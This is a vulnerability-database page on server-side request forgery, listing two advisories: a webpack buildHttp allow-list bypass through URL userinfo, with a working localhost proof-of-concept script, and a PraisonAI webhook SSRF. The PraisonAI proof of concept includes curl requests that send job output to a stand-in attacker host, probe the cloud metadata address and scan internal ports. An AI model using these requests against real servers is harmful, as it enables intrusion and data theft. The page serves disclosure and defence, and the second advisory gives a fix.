CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4772 vulnerabilities reference this CWE, most recent first.
GHSA-8FGC-7CC6-RX7X
Vulnerability from github – Published: 2026-02-05 18:38 – Updated: 2026-02-06 14:39Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on: - webpack version: 5.104.0 - Node version: v18.19.1
Details
Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
- http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
- Raw string check:
crafted.startsWith("http://127.0.0.1:9000") → true
- URL parsing (WHAT new URL() will contact):
origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
- Server logs showed the internal-only endpoint being fetched:
- [internal] 200 /secret.js served (...) (observed multiple times)
- Attacker-side build output showed:
- the internal secret marker was present in the bundle
- the internal secret marker was present in the buildHttp cache
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";
const http = require("http");
const ALLOWED_PORT = 9000; // allowlisted-looking host
const INTERNAL_PORT = 9100; // actual target if bypass succeeds
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`// internal-only\n` +
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function listen(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// "Allowed" host (should NOT be contacted if bypass works as intended)
await listen(ALLOWED_PORT, (req, res) => {
console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
});
// Internal-only service (SSRF-like target)
await listen(INTERNAL_PORT, (req, res) => {
if (req.url === "/secret.js") {
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
return;
}
console.log(`[internal] 404 ${req.method} ${req.url}`);
res.statusCode = 404;
res.end("not found");
});
console.log("\nServers up:");
console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();
2) Create server.js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
function fmtBool(b) { return b ? "✅" : "❌"; }
async function walk(dir) {
const out = [];
let items;
try { items = await fs.readdir(dir, { withFileTypes: true }); }
catch { return out; }
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
const s1 = buf.toString("utf8");
if (s1.includes(needle)) return true;
const s2 = buf.toString("latin1");
return s2.includes(needle);
} catch {
return false;
}
}
(async () => {
const webpackVersion = require("webpack/package.json").version;
const ALLOWED_PORT = 9000;
const INTERNAL_PORT = 9100;
// NOTE: allowlist is intentionally specified without a trailing slash
// to demonstrate the risk of raw string prefix checks.
const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;
// Crafted URL using userinfo so that:
// - The string begins with allowedUri
// - The actual authority (host:port) after '@' is INTERNAL_PORT
const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
const parsed = new URL(crafted);
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedUri],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
console.log("\n[ENV]");
console.log(`- webpack version: ${webpackVersion}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);
console.log("\n[CRAFTED URL]");
console.log(`- import specifier: ${crafted}`);
console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
console.log(`- WHAT URL() parses:`);
console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);
console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);
console.log(` - hostname: ${parsed.hostname}`);
console.log(` - port: ${parsed.port}`);
console.log(` - origin: ${parsed.origin}`);
console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error("\n[WEBPACK ERRORS]");
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const foundSecret = m ? m[0] : null;
console.log("\n[RESULT]");
console.log(`- temp dir: ${tmp}`);
console.log(`- bundle: ${bundlePath}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log("\n[SECURITY CHECK]");
console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);
if (foundSecret) {
const lockHit = await fileContains(lockfile, foundSecret);
const cacheFiles = await walk(cacheDir);
let cacheHit = false;
for (const f of cacheFiles) {
if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
}
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
}
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.104.0"
},
"package": {
"ecosystem": "npm",
"name": "webpack"
},
"ranges": [
{
"events": [
{
"introduced": "5.49.0"
},
{
"fixed": "5.104.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68458"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T18:38:10Z",
"nvd_published_at": "2026-02-05T23:15:53Z",
"severity": "LOW"
},
"details": "### Summary\nWhen `experiments.buildHttp` is enabled, webpack\u2019s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.\n\nReproduced on:\n- webpack version: **5.104.0**\n- Node version: **v18.19.1**\n\n### Details\n**Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`.\n\nExample crafted URL:\n- `http://127.0.0.1:9000@127.0.0.1:9100/secret.js`\n\nIf the allow-list is `[\"http://127.0.0.1:9000\"]`, then:\n- Raw string check: \n `crafted.startsWith(\"http://127.0.0.1:9000\")` \u2192 **true**\n- URL parsing (WHAT `new URL()` will contact): \n `origin` \u2192 `http://127.0.0.1:9100` (host/port after `@`)\n\nAs a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`.\n\n**Evidence from reproduction:**\n- Server logs showed the internal-only endpoint being fetched:\n - `[internal] 200 /secret.js served (...)` (observed multiple times)\n- Attacker-side build output showed:\n - the internal secret marker was present in the **bundle**\n - the internal secret marker was present in the **buildHttp cache**\n\n\u003cimg width=\"1651\" height=\"381\" alt=\"image-2\" src=\"https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492\" /\u003e\n\n### PoC\nThis PoC is intentionally constrained to **127.0.0.1** (localhost-only \u201cinternal service\u201d) to demonstrate SSRF behavior safely.\n\n#### 1) Setup\n```bash\nmkdir split-userinfo-poc \u0026\u0026 cd split-userinfo-poc\nnpm init -y\nnpm i -D webpack webpack-cli\n```\n\n#### 2) Create server.js\n```js\n#!/usr/bin/env node\n\"use strict\";\n\nconst http = require(\"http\");\n\nconst ALLOWED_PORT = 9000; // allowlisted-looking host\nconst INTERNAL_PORT = 9100; // actual target if bypass succeeds\n\nconst secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;\nconst internalPayload =\n `// internal-only\\n` +\n `export const secret = ${JSON.stringify(secret)};\\n` +\n `export default \"ok\";\\n`;\n\nfunction listen(port, handler) {\n return new Promise(resolve =\u003e {\n const s = http.createServer(handler);\n s.listen(port, \"127.0.0.1\", () =\u003e resolve(s));\n });\n}\n\n(async () =\u003e {\n // \"Allowed\" host (should NOT be contacted if bypass works as intended)\n await listen(ALLOWED_PORT, (req, res) =\u003e {\n console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/javascript; charset=utf-8\");\n res.end(`export default \"ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY\";\\n`);\n });\n\n // Internal-only service (SSRF-like target)\n await listen(INTERNAL_PORT, (req, res) =\u003e {\n if (req.url === \"/secret.js\") {\n console.log(`[internal] 200 /secret.js served (secret=${secret})`);\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/javascript; charset=utf-8\");\n res.end(internalPayload);\n return;\n }\n console.log(`[internal] 404 ${req.method} ${req.url}`);\n res.statusCode = 404;\n res.end(\"not found\");\n });\n\n console.log(\"\\nServers up:\");\n console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);\n console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);\n})();\n```\n\n#### 2) Create server.js\n```js\n#!/usr/bin/env node\n\"use strict\";\n\nconst path = require(\"path\");\nconst os = require(\"os\");\nconst fs = require(\"fs/promises\");\nconst webpack = require(\"webpack\");\n\nfunction fmtBool(b) { return b ? \"\u2705\" : \"\u274c\"; }\n\nasync function walk(dir) {\n const out = [];\n let items;\n try { items = await fs.readdir(dir, { withFileTypes: true }); }\n catch { return out; }\n for (const it of items) {\n const p = path.join(dir, it.name);\n if (it.isDirectory()) out.push(...await walk(p));\n else if (it.isFile()) out.push(p);\n }\n return out;\n}\n\nasync function fileContains(f, needle) {\n try {\n const buf = await fs.readFile(f);\n const s1 = buf.toString(\"utf8\");\n if (s1.includes(needle)) return true;\n const s2 = buf.toString(\"latin1\");\n return s2.includes(needle);\n } catch {\n return false;\n }\n}\n\n(async () =\u003e {\n const webpackVersion = require(\"webpack/package.json\").version;\n\n const ALLOWED_PORT = 9000;\n const INTERNAL_PORT = 9100;\n\n // NOTE: allowlist is intentionally specified without a trailing slash\n // to demonstrate the risk of raw string prefix checks.\n const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;\n\n // Crafted URL using userinfo so that:\n // - The string begins with allowedUri\n // - The actual authority (host:port) after \u0027@\u0027 is INTERNAL_PORT\n const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;\n const parsed = new URL(crafted);\n\n const tmp = await fs.mkdtemp(path.join(os.tmpdir(), \"webpack-httpuri-userinfo-poc-\"));\n const srcDir = path.join(tmp, \"src\");\n const distDir = path.join(tmp, \"dist\");\n const cacheDir = path.join(tmp, \".buildHttp-cache\");\n const lockfile = path.join(tmp, \"webpack.lock\");\n const bundlePath = path.join(distDir, \"bundle.js\");\n\n await fs.mkdir(srcDir, { recursive: true });\n await fs.mkdir(distDir, { recursive: true });\n\n await fs.writeFile(\n path.join(srcDir, \"index.js\"),\n `import { secret } from ${JSON.stringify(crafted)};\nconsole.log(\"LEAKED_SECRET:\", secret);\nexport default secret;\n`\n );\n\n const config = {\n context: tmp,\n mode: \"development\",\n entry: \"./src/index.js\",\n output: { path: distDir, filename: \"bundle.js\" },\n experiments: {\n buildHttp: {\n allowedUris: [allowedUri],\n cacheLocation: cacheDir,\n lockfileLocation: lockfile,\n upgrade: true\n }\n }\n };\n\n console.log(\"\\n[ENV]\");\n console.log(`- webpack version: ${webpackVersion}`);\n console.log(`- node version: ${process.version}`);\n console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);\n\n console.log(\"\\n[CRAFTED URL]\");\n console.log(`- import specifier: ${crafted}`);\n console.log(`- WHAT startsWith() sees: begins with \"${allowedUri}\" =\u003e ${fmtBool(crafted.startsWith(allowedUri))}`);\n console.log(`- WHAT URL() parses:`);\n console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);\n console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);\n console.log(` - hostname: ${parsed.hostname}`);\n console.log(` - port: ${parsed.port}`);\n console.log(` - origin: ${parsed.origin}`);\n console.log(` - NOTE: request goes to origin above (host/port after @), not to \"${allowedUri}\"`);\n\n const compiler = webpack(config);\n\n compiler.run(async (err, stats) =\u003e {\n try {\n if (err) throw err;\n const info = stats.toJson({ all: false, errors: true, warnings: true });\n\n if (stats.hasErrors()) {\n console.error(\"\\n[WEBPACK ERRORS]\");\n console.error(info.errors);\n process.exitCode = 1;\n return;\n }\n\n const bundle = await fs.readFile(bundlePath, \"utf8\");\n const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);\n const foundSecret = m ? m[0] : null;\n\n console.log(\"\\n[RESULT]\");\n console.log(`- temp dir: ${tmp}`);\n console.log(`- bundle: ${bundlePath}`);\n console.log(`- lockfile: ${lockfile}`);\n console.log(`- cacheDir: ${cacheDir}`);\n\n console.log(\"\\n[SECURITY CHECK]\");\n console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);\n\n if (foundSecret) {\n const lockHit = await fileContains(lockfile, foundSecret);\n\n const cacheFiles = await walk(cacheDir);\n let cacheHit = false;\n for (const f of cacheFiles) {\n if (await fileContains(f, foundSecret)) { cacheHit = true; break; }\n }\n\n console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);\n console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);\n }\n } catch (e) {\n console.error(e);\n process.exitCode = 1;\n } finally {\n compiler.close(() =\u003e {});\n }\n });\n})();\n```\n\n\n#### 4) Run\nTerminal A:\n```bash\nnode server.js\n```\n\nTerminal B:\n```bash\nnode attacker.js\n```\n\n#### 5) Expected vs Actual\n\nExpected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).\n\nActual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.\n\n### Impact\n\nVulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.\n\nWho is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.",
"id": "GHSA-8fgc-7cc6-rx7x",
"modified": "2026-02-06T14:39:29Z",
"published": "2026-02-05T18:38:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/webpack/webpack/security/advisories/GHSA-8fgc-7cc6-rx7x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68458"
},
{
"type": "PACKAGE",
"url": "https://github.com/webpack/webpack"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior"
}
GHSA-8FRJ-8Q3M-XHGM
Vulnerability from github – Published: 2026-04-10 19:28 – Updated: 2026-04-10 19:28Summary
The /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.
Details
The vulnerability exists across the full request lifecycle:
1. User input accepted without validation — models.py:32:
class JobSubmitRequest(BaseModel):
webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")
The field is a plain str with no URL validation — no scheme restriction, no host filtering.
2. Stored directly on the Job object — router.py:80-86:
job = Job(
prompt=body.prompt,
...
webhook_url=body.webhook_url,
...
)
3. Used in an outbound HTTP request — executor.py:385-415:
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
try:
import httpx
payload = {
"job_id": job.id,
"status": job.status.value,
"result": job.result if job.status == JobStatus.SUCCEEDED else None,
"error": job.error if job.status == JobStatus.FAILED else None,
...
}
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- attacker-controlled URL
json=payload,
headers={"Content-Type": "application/json"}
)
4. Triggered on both success and failure paths — executor.py:180-205:
# Line 180-181: on success
if job.webhook_url:
await self._send_webhook(job)
# Line 204-205: on failure
if job.webhook_url:
await self._send_webhook(job)
5. No authentication on the Jobs API server — server.py:82-101:
The create_app() function creates a FastAPI app with CORS allowing all origins (["*"]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.
There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.
PoC
Step 1: Start a listener to observe SSRF requests
# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'Received POST from PraisonAI server:')
print(json.dumps(json.loads(body), indent=2))
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"
Step 2: Submit a job with a malicious webhook_url
# Point webhook to attacker-controlled server
curl -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d '{
"prompt": "say hello",
"webhook_url": "http://attacker.example.com:9999/steal"
}'
Step 3: Target internal services (cloud metadata)
# Attempt to reach AWS metadata service
curl -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d '{
"prompt": "say hello",
"webhook_url": "http://169.254.169.254/latest/meta-data/"
}'
Step 4: Internal network port scanning
# Scan internal services by observing response timing
for port in 80 443 5432 6379 8080 9200; do
curl -s -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d "{
\"prompt\": \"say hello\",
\"webhook_url\": \"http://10.0.0.1:${port}/\"
}"
done
When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.
Impact
-
SSRF to internal services: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.
-
Cloud metadata access: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (
169.254.169.254,metadata.google.internal), potentially triggering actions or leaking information depending on the metadata service's POST handling. -
Internal network reconnaissance: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs.
-
Data exfiltration: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated.
-
No authentication barrier: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials.
Recommended Fix
Add URL validation to restrict webhook URLs to safe destinations. In models.py, add a Pydantic validator:
from pydantic import BaseModel, Field, field_validator
from urllib.parse import urlparse
import ipaddress
class JobSubmitRequest(BaseModel):
webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v: Optional[str]) -> Optional[str]:
if v is None:
return v
parsed = urlparse(v)
# Only allow http and https schemes
if parsed.scheme not in ("http", "https"):
raise ValueError("webhook_url must use http or https scheme")
# Block private/internal IP ranges
hostname = parsed.hostname
if not hostname:
raise ValueError("webhook_url must have a valid hostname")
try:
ip = ipaddress.ip_address(hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError("webhook_url must not point to private/internal addresses")
except ValueError as e:
if "must not point" in str(e):
raise
# hostname is not an IP — resolve and check
pass
return v
Additionally, in executor.py, add DNS resolution validation before making the request to prevent DNS rebinding:
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
# Validate resolved IP is not private (prevent DNS rebinding)
from urllib.parse import urlparse
import socket, ipaddress
parsed = urlparse(job.webhook_url)
try:
resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0]
ip = ipaddress.ip_address(resolved_ip)
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
logger.warning(f"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}")
return
except (socket.gaierror, ValueError):
logger.warning(f"Webhook blocked for {job.id}: could not resolve {parsed.hostname}")
return
# ... proceed with httpx.AsyncClient.post() ...
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.128"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40114"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:28:54Z",
"nvd_published_at": "2026-04-09T22:16:35Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `/api/v1/runs` endpoint accepts an arbitrary `webhook_url` in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using `httpx.AsyncClient`. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.\n\n## Details\n\nThe vulnerability exists across the full request lifecycle:\n\n**1. User input accepted without validation** \u2014 `models.py:32`:\n```python\nclass JobSubmitRequest(BaseModel):\n webhook_url: Optional[str] = Field(None, description=\"URL to POST results when complete\")\n```\nThe field is a plain `str` with no URL validation \u2014 no scheme restriction, no host filtering.\n\n**2. Stored directly on the Job object** \u2014 `router.py:80-86`:\n```python\njob = Job(\n prompt=body.prompt,\n ...\n webhook_url=body.webhook_url,\n ...\n)\n```\n\n**3. Used in an outbound HTTP request** \u2014 `executor.py:385-415`:\n```python\nasync def _send_webhook(self, job: Job):\n if not job.webhook_url:\n return\n try:\n import httpx\n payload = {\n \"job_id\": job.id,\n \"status\": job.status.value,\n \"result\": job.result if job.status == JobStatus.SUCCEEDED else None,\n \"error\": job.error if job.status == JobStatus.FAILED else None,\n ...\n }\n async with httpx.AsyncClient(timeout=30.0) as client:\n response = await client.post(\n job.webhook_url, # \u003c-- attacker-controlled URL\n json=payload,\n headers={\"Content-Type\": \"application/json\"}\n )\n```\n\n**4. Triggered on both success and failure paths** \u2014 `executor.py:180-205`:\n```python\n# Line 180-181: on success\nif job.webhook_url:\n await self._send_webhook(job)\n\n# Line 204-205: on failure\nif job.webhook_url:\n await self._send_webhook(job)\n```\n\n**5. No authentication on the Jobs API server** \u2014 `server.py:82-101`:\nThe `create_app()` function creates a FastAPI app with CORS allowing all origins (`[\"*\"]`) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.\n\nThere is zero URL validation anywhere in the chain: no scheme check (allows `http://`, `https://`, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.\n\n## PoC\n\n**Step 1: Start a listener to observe SSRF requests**\n```bash\n# In a separate terminal, start a simple HTTP listener\npython3 -c \"\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass Handler(BaseHTTPRequestHandler):\n def do_POST(self):\n length = int(self.headers.get(\u0027Content-Length\u0027, 0))\n body = self.rfile.read(length)\n print(f\u0027Received POST from PraisonAI server:\u0027)\n print(json.dumps(json.loads(body), indent=2))\n self.send_response(200)\n self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 9999), Handler).serve_forever()\n\"\n```\n\n**Step 2: Submit a job with a malicious webhook_url**\n```bash\n# Point webhook to attacker-controlled server\ncurl -X POST http://localhost:8005/api/v1/runs \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"prompt\": \"say hello\",\n \"webhook_url\": \"http://attacker.example.com:9999/steal\"\n }\u0027\n```\n\n**Step 3: Target internal services (cloud metadata)**\n```bash\n# Attempt to reach AWS metadata service\ncurl -X POST http://localhost:8005/api/v1/runs \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"prompt\": \"say hello\",\n \"webhook_url\": \"http://169.254.169.254/latest/meta-data/\"\n }\u0027\n```\n\n**Step 4: Internal network port scanning**\n```bash\n# Scan internal services by observing response timing\nfor port in 80 443 5432 6379 8080 9200; do\n curl -s -X POST http://localhost:8005/api/v1/runs \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\n \\\"prompt\\\": \\\"say hello\\\",\n \\\"webhook_url\\\": \\\"http://10.0.0.1:${port}/\\\"\n }\"\ndone\n```\n\nWhen each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.\n\n## Impact\n\n1. **SSRF to internal services**: The server will send POST requests to any host/port reachable from the server\u0027s network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.\n\n2. **Cloud metadata access**: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (`169.254.169.254`, `metadata.google.internal`), potentially triggering actions or leaking information depending on the metadata service\u0027s POST handling.\n\n3. **Internal network reconnaissance**: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs.\n\n4. **Data exfiltration**: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated.\n\n5. **No authentication barrier**: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials.\n\n## Recommended Fix\n\nAdd URL validation to restrict webhook URLs to safe destinations. In `models.py`, add a Pydantic validator:\n\n```python\nfrom pydantic import BaseModel, Field, field_validator\nfrom urllib.parse import urlparse\nimport ipaddress\n\nclass JobSubmitRequest(BaseModel):\n webhook_url: Optional[str] = Field(None, description=\"URL to POST results when complete\")\n\n @field_validator(\"webhook_url\")\n @classmethod\n def validate_webhook_url(cls, v: Optional[str]) -\u003e Optional[str]:\n if v is None:\n return v\n \n parsed = urlparse(v)\n \n # Only allow http and https schemes\n if parsed.scheme not in (\"http\", \"https\"):\n raise ValueError(\"webhook_url must use http or https scheme\")\n \n # Block private/internal IP ranges\n hostname = parsed.hostname\n if not hostname:\n raise ValueError(\"webhook_url must have a valid hostname\")\n \n try:\n ip = ipaddress.ip_address(hostname)\n if ip.is_private or ip.is_loopback or ip.is_link_local or 